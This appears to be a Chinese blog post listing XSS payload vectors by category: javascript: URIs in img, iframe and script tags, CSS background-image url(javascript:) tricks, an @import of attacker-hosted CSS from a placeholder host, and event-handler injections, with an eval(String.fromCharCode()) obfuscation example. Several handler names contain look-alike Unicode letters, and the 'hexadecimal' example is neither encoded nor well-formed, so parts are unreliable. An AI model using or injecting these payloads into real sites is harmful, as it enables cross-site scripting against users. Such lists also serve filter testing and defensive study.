第一类：
<img src=javascript:alert() />
<iframe src=javascript:alert()></iframe>
<script src=javascript:alert()></script>
第二类：
<div style=background-image:url(javascript:alert())>
<img style=background-image:url(javascript:alert())>
<b style=background-image:url(javascript:alert())>
用STYLE标签引用其他网站上的css文件
<STYLE>@import'http://xxx.xom/xss.css';</STYLE>
css文件里包含跨站程序
body{
background-image:url('javascript:alert();');
}
第三类：
<table background=javascript:alert()></table>
<body background=javascript:alert()></body>
第四类：
<div οnmοuseenter=alert()>鼠标进入本区域执行Javascript</div>
<div οnmοuseleave=alert()>鼠标离开本区域执行Javascript</div>
<div onmousewheel=alert()>鼠标在选区滚轮时执行Javascript</div>
<div contentEditable="true" οnfοcusin=alert()>获得焦点执行Javascript</div>
<div contentEditable="true" οnfοcusοut=alert()>失去焦点执行Javascript</div>
<marquee onstart=alert()>每次显示滚动内容执行Javascript</marquee>
<img src="" οnerrοr=alert('加载图片错误执行代码')>
<img src="" οnclick=alert('单击图片执行代码')>
<img οnmοuseοver=alert('鼠标经过图片执行代码')>
<img style=background-image:url(javascript:eval(String.fromCharCode(97,108,101,114,116,40,41)))>
将要执行的代码“alert()”转换为十进制的ASCII码,其间用逗号隔开，再用String.fromCharCode解码，最后用eval执行
还可以进行十六进制的处理：
<img style=background-image:url(javascript:alert()>
2万+
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
